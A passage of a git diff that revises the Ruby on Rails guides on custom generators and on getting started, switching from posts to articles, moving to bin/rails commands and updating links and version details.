+class method call from our new generator, because we are not going to need them.
+Add the method below, so our generator looks like the following:
 
 ```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
 class Rails::MyHelperGenerator < Rails::Generators::NamedBase
   def create_helper_file
     create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -237,10 +249,11 @@ end
 end
 ```
 
-We can try out our new generator by creating a helper for users:
+We can try out our new generator by creating a helper for products:
 
 ```bash
-$ rails generate my_helper products
+$ bin/rails generate my_helper products
+      create  app/helpers/products_helper.rb
 ```
 
 And it will generate the following helper file in `app/helpers`:
@@ -259,6 +272,7 @@ config.generators do |g|
   g.template_engine :erb
   g.test_framework  :test_unit, fixture: false
   g.stylesheets     false
+  g.javascripts     false
   g.helper          :my_helper
 end
 ```
@@ -266,10 +280,10 @@ end
 and see it in action when invoking the generator:
 
 ```bash
-$ rails generate scaffold Post body:text
+$ bin/rails generate scaffold Article body:text
       [...]
       invoke    my_helper
-      create      app/helpers/posts_helper.rb
+      create      app/helpers/articles_helper.rb
 ```
 
 We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
@@ -279,6 +293,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe
 To do that, we can change the generator this way:
 
 ```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
 class Rails::MyHelperGenerator < Rails::Generators::NamedBase
   def create_helper_file
     create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -322,11 +337,28 @@ config.generators do |g|
   g.template_engine :erb
   g.test_framework  :test_unit, fixture: false
   g.stylesheets     false
+  g.javascripts     false
 end
 ```
 
 If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
 
+Scaffold templates in Rails frequently use ERB tags; these tags need to be
+escaped so that the generated output is valid ERB code.
+
+For example, the following escaped ERB tag would be needed in the template
+(note the extra `%`)...
+
+```ruby
+<%%= stylesheet_include_tag :application %>
+```
+
+...to generate the following output:
+
+```ruby
+<%= stylesheet_include_tag :application %>
+```
+
 Adding Generators Fallbacks
 ---------------------------
 
@@ -340,6 +372,7 @@ config.generators do |g|
   g.template_engine :erb
   g.test_framework  :shoulda, fixture: false
   g.stylesheets     false
+  g.javascripts     false
 
   # Add a fallback!
   g.fallbacks[:shoulda] = :test_unit
@@ -349,9 +382,9 @@ end
 Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
 
 ```bash
-$ rails generate scaffold Comment body:text
+$ bin/rails generate scaffold Comment body:text
       invoke  active_record
-      create    db/migrate/20091120151323_create_comments.rb
+      create    db/migrate/20130924143118_create_comments.rb
       create    app/models/comment.rb
       invoke    shoulda
       create      test/models/comment_test.rb
@@ -371,11 +404,12 @@ $ rails generate scaffold Comment body:text
       create      test/controllers/comments_controller_test.rb
       invoke    my_helper
       create      app/helpers/comments_helper.rb
-      invoke      shoulda
-      create        test/helpers/comments_helper_test.rb
+      invoke    jbuilder
+      create      app/views/comments/index.json.jbuilder
+      create      app/views/comments/show.json.jbuilder
       invoke  assets
       invoke    coffee
-      create      app/assets/javascripts/comments.js.coffee
+      create      app/assets/javascripts/comments.coffee
       invoke    scss
 ```
 
@@ -422,7 +456,7 @@ Generator methods
 
 The following are methods available for both generators and templates for Rails.
 
-NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
 
 ### `gem`
 
@@ -488,7 +522,7 @@ Replaces text inside a file.
 gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
 ```
 
-Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
+Regular Expressions can be used to make this method more precise. You can also use `append_file` and `prepend_file` in the same way to place code at the beginning and end of a file respectively.
 
 ### `application`
 
@@ -541,7 +575,7 @@ This method also takes a block:
 
 ```ruby
 vendor "seeds.rb" do
-  "puts 'in ur app, seeding ur database'"
+  "puts 'in your app, seeding your database'"
 end
 ```
 
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index 81e57aee34..51b8a2ca5f 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Getting Started with Rails
 ==========================
 
@@ -21,19 +23,22 @@ application from scratch. It does not assume that you have any prior experience
 with Rails. However, to get the most out of it, you need to have some
 prerequisites installed:
 
-* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer
-* The [RubyGems](http://rubygems.org/) packaging system
-    * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
-* A working installation of the [SQLite3 Database](http://www.sqlite.org)
+* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer.
+* The [RubyGems](https://rubygems.org) packaging system, which is installed with Ruby
+  versions 1.9 and later. To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org).
+* A working installation of the [SQLite3 Database](https://www.sqlite.org).
 
 Rails is a web application framework running on the Ruby programming language.
 If you have no prior experience with Ruby, you will find a very steep learning
-curve diving straight into Rails. There are some good free resources on the
-Internet for learning Ruby, including:
+curve diving straight into Rails. There are several curated lists of online resources
+for learning Ruby:
+
+* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
+* [reSRC's List of Free Programming Books](http://resrc.io/list/10/list-of-free-programming-books/#ruby)
 
-* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com)
-* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)
-* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/)
+Be aware that some resources, while still excellent, cover versions of Ruby as old as
+1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day
+development with Rails.
 
 What is Rails?
 --------------
@@ -54,26 +59,28 @@ learned elsewhere, you may have a less happy experience.
 
 The Rails philosophy includes two major guiding principles:
 
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
-do it, rather than requiring you to specify every little thing through endless configuration files.
+* **Don't Repeat Yourself:** DRY is a principle of software development which
+  states that "Every piece of knowledge must have a single, unambiguous, authoritative
+  representation within a system." By not writing the same information over and over
+  again, our code is more maintainable, more extensible, and less buggy.
+* **Convention Over Configuration:** Rails has opinions about the best way to do many
+  things in a web application, and defaults to this set of conventions, rather than
+  require that you specify every minutiae through endless configuration files.
 
 Creating a New Rails Project
 ----------------------------
 
 The best way to use this guide is to follow each step as it happens, no code or
 step needed to make this example application has been left out, so you can
-literally follow along step by step. You can get the complete code
-[here](https://github.com/rails/docrails/tree/master/guides/code/getting_started).
+literally follow along step by step.
 
 By following along with this guide, you'll create a Rails project called
-`blog`, a
-(very) simple weblog. Before you can start building the application, you need to
-make sure that you have Rails itself installed.
+`blog`, a (very) simple weblog. Before you can start building the application,
+you need to make sure that you have Rails itself installed.
 
-TIP: The examples below use `#` and `$` to denote superuser and regular
-user terminal prompts respectively in a UNIX-like OS. If you are using
-Windows, your prompt will look something like `c:\source_code>`
+TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS,
+though it may have been customized to appear differently. If you are using Windows,
+your prompt will look something like `c:\source_code>`
 
 ### Installing Rails
 
@@ -82,114 +89,172 @@ Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose
 dollar sign `$` should be run in the command line. Verify that you have a
 current version of Ruby installed:
 
+TIP: A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org),
+while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp).
+For more installation methods for most Operating Systems take a look at
+[ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/).
+
 ```bash
 $ ruby -v
-ruby 2.0.0p247
+ruby 2.0.0p353
+```
+
+Many popular UNIX-like OSes ship with an acceptable version of SQLite3.
+On Windows, if you installed Rails through Rails Installer, you
+already have SQLite installed. Others can find installation instructions
+at the [SQLite3 website](https://www.sqlite.org).
+Verify that it is correctly installed and in your PATH:
+
+```bash
+$ sqlite3 --version
 ```
 
+The program should report its version.
+
 To install Rails, use the `gem install` command provided by RubyGems:
 
 ```bash
 $ gem install rails
 ```
 
-TIP. A number of tools exist to help you quickly install Ruby and Ruby
-on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use
-[Rails One Click](http://railsoneclick.com).
-
-To verify that you have everything installed correctly, you should be able to run the following:
+To verify that you have everything installed correctly, you should be able to
+run the following:
 
 ```bash
 $ rails --version
 ```
 
-If it says something like "Rails 4.0.0", you are ready to continue.
+If it says something like "Rails 5.0.0", you are ready to continue.
 
 ### Creating the Blog Application
 
-Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself.
+Rails comes with a number of scripts called generators that are designed to make
+your development life easier by creating everything that's necessary to start
+working on a particular task. One of these is the new application generator,
+which will provide you with the foundation of a fresh Rails application so that
+you don't have to write it yourself.
 
-To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
+To use this generator, open a terminal, navigate to a directory where you have
+rights to create files, and type:
 
 ```bash
 $ rails new blog
 ```
 
-This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`.
+This will create a Rails application called Blog in a `blog` directory and
+install the gem dependencies that are already mentioned in `Gemfile` using
+`bundle install`.
 
-TIP: You can see all of the command line options that the Rails
-application builder accepts by running `rails new -h`.
+TIP: You can see all of the command line options that the Rails application
+builder accepts by running `rails new -h`.
 
-After you create the blog application, switch to its folder to continue work directly in that application:
+After you create the blog application, switch to its folder:
 
 ```bash
 $ cd blog
 ```
 
-The `rails new blog` command we ran above created a folder in your
-working directory called `blog`. The `blog` directory has a number of
-auto-generated files and folders that make up the structure of a Rails
-application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
+The `blog` directory has a number of auto-generated files and folders that make
+up the structure of a Rails application. Most of the work in this tutorial will
+happen in the `app` folder, but here's a basic rundown on the function of each
+of the files and folders that Rails created by default:
 
 | File/Folder | Purpose |
 | ----------- | ------- |
 |app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|bin/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
-|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)|
+|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, deploy or run your application.|
+|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
 |config.ru|Rack configuration for Rack based servers used to start the application.|
 |db/|Contains your current database schema, as well as the database migrations.|
-|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) |
+|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](http://bundler.io).|
 |lib/|Extended modules for your application.|
 |log/|Application log files.|
-|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
+|public/|The only folder seen by the world as-is. Contains static files and compiled assets.|
 |Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
 |README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
-|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)|
-|tmp/|Temporary files (like cache, pid and session files)|
-|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).|
+|tmp/|Temporary files (like cache and pid files).|
+|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.|
 
 Hello, Rails!
 -------------
 
-To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
+To begin with, let's get some text up on screen quickly. To do this, you need to
+get your Rails application server running.
 
 ### Starting up the Web Server
 
-You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running the following in the root directory of your rails application:
+You actually have a functional Rails application already. To see it, you need to
+start a web server on your development machine. You can do this by running the
+following in the `blog` directory:
 
 ```bash
-$ rails server
+$ bin/rails server
 ```
 
-TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme).
+TIP: If you are using Windows, you have to pass the scripts under the `bin`
+folder directly to the Ruby interpreter e.g. `ruby bin\rails server`.
+
+TIP: Compiling CoffeeScript and JavaScript asset compression requires you
+have a JavaScript runtime available on your system, in the absence
+of a runtime you will see an `execjs` error during asset compilation.
+Usually Mac OS X and Windows come with a JavaScript runtime installed.
+Rails adds the `therubyracer` gem to the generated `Gemfile` in a
+commented line for new apps and you can uncomment if you need it.
+`therubyrhino` is the recommended runtime for JRuby users and is added by
+default to the `Gemfile` in apps generated under JRuby. You can investigate
+all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme).
 
-This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page:
+This will fire up WEBrick, a web server distributed with Ruby by default. To see
+your application in action, open a browser window and navigate to
+<http://localhost:3000>. You should see the Rails default information page:
 
-![Welcome Aboard screenshot](images/getting_started/rails_welcome.png)
+![Welcome aboard screenshot](images/getting_started/rails_welcome.png)
 
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
+running. To verify the server has stopped you should see your command prompt
+cursor again. For most UNIX-like systems including Mac OS X this will be a
+dollar sign `$`. In development mode, Rails does not generally require you to
+restart the server; changes you make in files will be automatically picked up by
+the server.
 
-The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application's environment_ link to see a summary of your application's environment.
+The "Welcome aboard" page is the _smoke test_ for a new Rails application: it
+makes sure that you have your software configured correctly enough to serve a
+page. You can also click on the _About your application's environment_ link to
+see a summary of your application's environment.
 
 ### Say "Hello", Rails
 
-To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a
+_view_.
 
-A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view.
+A controller's purpose is to receive specific requests for the application.
+_Routing_ decides which controller receives which requests. Often, there is more
+than one route to each controller, and different routes can be served by
+different _actions_. Each action's purpose is to collect information to provide
+it to a view.
 
-A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user.
+A view's purpose is to display this information in a human readable format. An
+important distinction to make is that it is the _controller_, not the view,
+where information is collected. The view should just display that information.
+By default, view templates are written in a language called eRuby (Embedded
+Ruby) which is processed by the request cycle in Rails before being sent to the
+user.
 
-To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
+To create a new controller, you will need to run the "controller" generator and
+tell it you want a controller called "welcome" with an action called "index",
+just like this:
 
 ```bash
-$ rails generate controller welcome index
+$ bin/rails generate controller welcome index
 ```
 
 Rails will create several files and a route for you.
 
 ```bash
 create  app/controllers/welcome_controller.rb
- route  get "welcome/index"
+ route  get 'welcome/index'
 invoke  erb
 create    app/views/welcome
 create    app/views/welcome/index.html.erb
@@ -197,18 +262,20 @@ invoke  test_unit
 create    test/controllers/welcome_controller_test.rb
 invoke  helper
 create    app/helpers/welcome_helper.rb
-invoke    test_unit
-create      test/helpers/welcome_helper_test.rb
 invoke  assets
 invoke    coffee
-create      app/assets/javascripts/welcome.js.coffee
+create      app/assets/javascripts/welcome.coffee
 invoke    scss
-create      app/assets/stylesheets/welcome.css.scss
+create      app/assets/stylesheets/welcome.scss
 ```
 
-Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`.
+Most important of these are of course the controller, located at
+`app/controllers/welcome_controller.rb` and the view, located at
+`app/views/welcome/index.html.erb`.
 
-Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all of the existing code in the file, and replace it with the following single line of code:
+Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
+of the existing code in the file, and replace it with the following single line
+of code:
 
 ```html
 <h1>Hello, Rails!</h1>
@@ -216,155 +283,233 @@ Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
 
 ### Setting the Application Home Page
 
-Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot.
+Now that we have made the controller and view, we need to tell Rails when we
+want "Hello, Rails!" to show up. In our case, we want it to show up when we
+navigate to the root URL of our site, <http://localhost:3000>. At the moment,
+"Welcome aboard" is occupying that spot.
 
 Next, you have to tell Rails where your actual home page is located.
 
 Open the file `config/routes.rb` in your editor.
 
 ```ruby
-Blog::Application.routes.draw do
-  get "welcome/index"
+Rails.application.routes.draw do
+  get 'welcome/index'
 
   # The priority is based upon order of creation:
   # first created -> highest priority.
-  # ...
+  #
   # You can have the root of your site routed with "root"
-  # root "welcome#index"
+  # root 'welcome#index'
+  #
+  # ...
 ```
 
-This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root` and uncomment it. It should look something like the following:
+This is your application's _routing file_ which holds entries in a special
+[DSL (domain-specific language)](http://en.wikipedia.org/wiki/Domain-specific_language)
+that tells Rails how to connect incoming requests to
+controllers and actions. This file contains many sample routes on commented
+lines, and one of them actually shows you how to connect the root of your site
+to a specific controller and action. Find the line beginning with `root` and
+uncomment it. It should look something like the following:
 
 ```ruby
-root "welcome#index"
+root 'welcome#index'
 ```
 
-The `root "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
+`root 'welcome#index'` tells Rails to map requests to the root of the
+application to the welcome controller's index action and `get 'welcome/index'`
+tells Rails to map requests to <http://localhost:3000/welcome/index> to the
+welcome controller's index action. This was created earlier when you ran the
+controller generator (`rails generate controller welcome index`).
 
-If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
+Launch the web server again if you stopped it to generate the controller (`rails
+server`) and navigate to <http://localhost:3000> in your browser. You'll see the
+"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`,
+indicating that this new route is indeed going to `WelcomeController`'s `index`
+action and is rendering the view correctly.
 
 TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
 
 Getting Up and Running
 ----------------------
 
-Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
+Now that you've seen how to create a controller, an action and a view, let's
+create something with a bit more substance.
 
-In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations.
+In the Blog application, you will now create a new _resource_. A resource is the
+term used for a collection of similar objects, such as articles, people or
+animals.
+You can create, read, update and destroy items for a resource and these
+operations are referred to as _CRUD_ operations.
 
-Rails provides a `resources` method which can be used to declare a standard REST resource.
-Here's what `config/routes.rb` should look like after the _post resource_ is declared.
+Rails provides a `resources` method which can be used to declare a standard REST
+resource. You need to add the _article resource_ to the
+`config/routes.rb` as follows:
 
 ```ruby
-Blog::Application.routes.draw do
+Rails.application.routes.draw do
 
-  resources :posts
+  resources :articles
 
-  root "welcome#index"
+  root 'welcome#index'
 end
 ```
 
 If you run `rake routes`, you'll see that it has defined routes for all the
 standard RESTful actions.  The meaning of the prefix column (and other columns)
 will be seen later, but for now notice that Rails has inferred the
-singular form `post` and makes meaningful use of the distinction.
+singular form `article` and makes meaningful use of the distinction.
 
 ```bash
-$ rake routes
-   Prefix Verb   URI Pattern               Controller#Action
-    posts GET    /posts(.:format)          posts#index
-          POST   /posts(.:format)          posts#create
- new_post GET    /posts/new(.:format)      posts#new
-edit_post GET    /posts/:id/edit(.:format) posts#edit
-     post GET    /posts/:id(.:format)      posts#show
-          PATCH  /posts/:id(.:format)      posts#update
-          PUT    /posts/:id(.:format)      posts#update
-          DELETE /posts/:id(.:format)      posts#destroy
-     root        /                         welcome#index
+$ bin/rake routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
 ```
 
-In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this:
+In the next section, you will add the ability to create new articles in your
+application and be able to view them. This is the "C" and the "R" from CRUD:
+creation and reading. The form for doing this will look like this:
 
-![The new post form](images/getting_started/new_post.png)
+![The new article form](images/getting_started/new_article.png)
 
-It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
+It will look a little basic for now, but that's ok. We'll look at improving the
+styling for it afterwards.
 
 ### Laying down the ground work
 
-The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. With the route already defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see a routing error:
+Firstly, you need a place within the application to create a new article. A
+great place for that would be at `/articles/new`. With the route already
+defined, requests can now be made to `/articles/new` in the application.
+Navigate to <http://localhost:3000/articles/new> and you'll see a routing
+error:
 
-![Another routing error, uninitialized constant PostsController](images/getting_started/routing_error_no_controller.png)
+![Another routing error, uninitialized constant ArticlesController](images/getting_started/routing_error_no_controller.png)
 
-This error occurs because the route needs to have a controller defined in order to serve the request. The solution to this particular problem is simple: create a controller called `PostsController`. You can do this by running this command:
+This error occurs because the route needs to have a controller defined in order
+to serve the request. The solution to this particular problem is simple: create
+a controller called `ArticlesController`. You can do this by running this
+command:
 
 ```bash
-$ rails g controller posts
+$ bin/rails g controller articles
 ```
 
-If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller:
+If you open up the newly generated `app/controllers/articles_controller.rb`
+you'll see a fairly empty controller:
 
 ```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
 end
 ```
 
-A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
+A controller is simply a class that is defined to inherit from
+`ApplicationController`.
+It's inside this class that you'll define methods that will become the actions
+for this controller. These actions will perform CRUD operations on the articles
+within our system.
 
-NOTE: There are `public`, `private` and `protected` methods in `Ruby`
-(for more details you can check on [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)).
-But only `public` methods can be actions for controllers.
+NOTE: There are `public`, `private` and `protected` methods in Ruby,
+but only `public` methods can be actions for controllers.
+For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/).
 
-If you refresh <http://localhost:3000/posts/new> now, you'll get a new error:
+If you refresh <http://localhost:3000/articles/new> now, you'll get a new error:
 
-![Unknown action new for PostsController!](images/getting_started/unknown_action_new_for_posts.png)
+![Unknown action new for ArticlesController!](images/getting_started/unknown_action_new_for_articles.png)
 
-This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
+This error indicates that Rails cannot find the `new` action inside the
+`ArticlesController` that you just generated. This is because when controllers
+are generated in Rails they are empty by default, unless you tell it
+your desired actions during the generation process.
 
-To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this:
+To manually define an action inside a controller, all you need to do is to
+define a new method inside the controller. Open
+`app/controllers/articles_controller.rb` and inside the `ArticlesController`
+class, define the `new` method so that your controller now looks like this:
 
 ```ruby
-def new
+class ArticlesController < ApplicationController
+  def new
+  end
 end
 ```
 
-With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error:
+With the `new` method defined in `ArticlesController`, if you refresh
+<http://localhost:3000/articles/new> you'll see another error:
+
+![Template is missing for articles/new]
+(images/getting_started/template_is_missing_articles_new.png)
 
-![Template is missing for posts/new](images/getting_started/template_is_missing_posts_new.png)
+You're getting this error now because Rails expects plain actions like this one
+to have views associated with them to display their information. With no view
+available, Rails will raise an exception.
 
-You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out.
+In the above image, the bottom line has been truncated. Let's see what the full
+error message looks like:
 
-In the above image, the bottom line has been truncated. Let's see what the full thing looks like:
+>Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
 
-<blockquote>
-Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
-</blockquote>
+That's quite a lot of text! Let's quickly go through and understand what each
+part of it means.
 
-That's quite a lot of text! Let's quickly go through and understand what each part of it does.
+The first part identifies which template is missing. In this case, it's the
+`articles/new` template. Rails will first look for this template. If not found,
+then it will attempt to load a template called `application/new`. It looks for
+one here because the `ArticlesController` inherits from `ApplicationController`.
 
-The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`.
+The next part of the message contains a hash. The `:locale` key in this hash
+simply indicates which spoken language template should be retrieved. By default,
+this is the English - or "en" - template. The next key, `:formats` specifies the
+format of template to be served in response. The default format is `:html`, and
+so Rails is looking for an HTML template. The final key, `:handlers`, is telling
+us what _template handlers_ could be used to render our template. `:erb` is most
+commonly used for HTML templates, `:builder` is used for XML templates, and
+`:coffee` uses CoffeeScript to build JavaScript templates.
 
-The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English - or "en" - template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates.
+The final part of this message tells us where Rails has looked for the templates.
+Templates within a basic Rails application like this are kept in a single
+location, but in more complex applications it could be many different paths.
 
-The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths.
+The simplest template that would work in this case would be one located at
+`app/views/articles/new.html.erb`. The extension of this file name is important:
+the first extension is the _format_ of the template, and the second extension
+is the _handler_ that will be used. Rails is attempting to find a template
+called `articles/new` within `app/views` for the application. The format for
+this template can only be `html` and the handler must be one of `erb`,
+`builder` or `coffee`. Because you want to create a new HTML form, you will be
+using the `ERB` language which is designed to embed Ruby in HTML.
 
-The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application.
+Therefore the file should be called `articles/new.html.erb` and needs to be
+located inside the `app/views` directory of the application.
 
-Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it:
+Go ahead now and create a new file at `app/views/articles/new.html.erb` and
+write this content in it:
 
 ```html
-<h1>New Post</h1>
+<h1>New Article</h1>
 ```
 
-When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
+When you refresh <http://localhost:3000/articles/new> you'll now see that the
+page has a title. The route, controller, action and view are now working
+harmoniously! It's time to create the form for a new article.
 
 ### The first form
 
-To create a form within this template, you will use a <em>form
-builder</em>. The primary form builder for Rails is provided by a helper
